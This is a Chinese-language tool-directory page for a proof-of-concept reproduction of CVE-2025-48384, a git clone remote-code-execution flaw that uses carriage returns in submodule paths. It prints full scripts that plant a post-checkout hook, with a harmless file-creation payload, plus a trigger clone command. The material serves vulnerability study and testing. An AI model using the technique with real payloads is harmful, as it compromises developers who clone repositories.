Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-48384 — CVE-2025-48384 的复现脚本,一种通过子模块路径中的回车符实现 git clone 远程代码执行(RCE)的漏洞,用于演示该漏洞并提供本地测试环境。 | Kitploit
工具/GitHubGitHub/arun1033/cve-2025-48384
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育实验室与实践
GitHubarun1033/cve-2025-48384

CVE-2025-48384

CVE-2025-48384 的复现脚本,一种通过子模块路径中的回车符实现 git clone 远程代码执行(RCE)的漏洞,用于演示该漏洞并提供本地测试环境。

查看仓库
11年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-48384:利用回车键破坏 Git 并实现克隆远程代码执行

复现自 https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384。全部致谢 David Leadbeater。

这是对该漏洞的一个基本复现尝试。

触发方式:在受影响版本的 Git 上执行 git clone --recursive https://github.com/acheong08/CVE-2025-48384,你会发现在 /tmp/fishsucks 下突然出现一个文件。

我能够在 Git 版本 2.50.0 上复现。

以下是用于本地测试的脚本:

root@kitploit:~
#!/usr/bin/fish
git init sub
echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook

git init repo
git -C repo -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C repo mv sub (printf "sub\r")

git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules

git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.gitmodules/sub/config

ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"
rm -rf ./repo ./sub ./bad-clone

为推送到 Github 修改后的脚本:

root@kitploit:~
#!/usr/bin/fish
if not test -d sub
    git clone https://github.com/acheong08/totallynotsuspicious.git sub
else
    git -C sub pull
end

echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook; or true
git -C sub push origin HEAD

rm -rf repo
git init repo
git -C repo -c protocol.file.allow=always submodule add https://github.com/acheong08/totallynotsuspicious.git sub
git -C repo mv sub (printf "sub\r")

git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules

git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config

ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"
下载工具